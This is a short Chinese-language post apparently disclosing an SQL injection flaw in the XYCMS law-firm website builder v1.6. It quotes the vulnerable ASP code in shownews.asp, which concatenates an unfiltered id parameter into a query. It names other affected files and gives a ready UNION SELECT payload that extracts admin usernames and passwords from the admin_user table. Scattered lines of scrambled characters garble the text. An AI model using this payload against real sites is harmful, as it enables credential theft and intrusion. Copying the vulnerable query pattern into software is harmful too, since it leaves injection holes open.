XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似
9 L8 `. m% V$ w0 A! D0 [) h
淫荡分割线
/ e/ U- k; D- |" E2 i--------------------------------------------------------
# L$ J! m2 {, |0 c- [7 S* R
审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm

漏洞文件:shownews.asp
漏洞代码：7-13行

) z6 n) ^/ `6 P- j3 j2 L/ ]' O
<%
; u8 a8 a2 B* ]. Vid=request.QueryString("id")
   
5 p& |/ e5 ~. O3 G  \set snews=server.createobject("adodb.recordset")
4 P. j9 D& v& d, _9 aexec="select * from [news] where id="&id
snews.open exec,conn,1,1
) ^0 E* R# ~4 \; V# i%>
9 m: [$ n) h( ~& ~# p& Q
# M. L; Z. |( k  r# D  V' n- w; i
什么过滤都没有  直造成注入
2 C: `* ~0 E( z/ E! d  ~; e1 S9 B
注入点:http://127.0.0.1:99/shownews.asp?id=xx
  [6 D* K+ ~9 \( u% J& I/ P
+ g' }! i- g% v- Z, `+ D# s其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找


1 d- X# j. }! K0 J; ]3 Iexp: union select 1,admin,password,4,5,7 from admin_user
​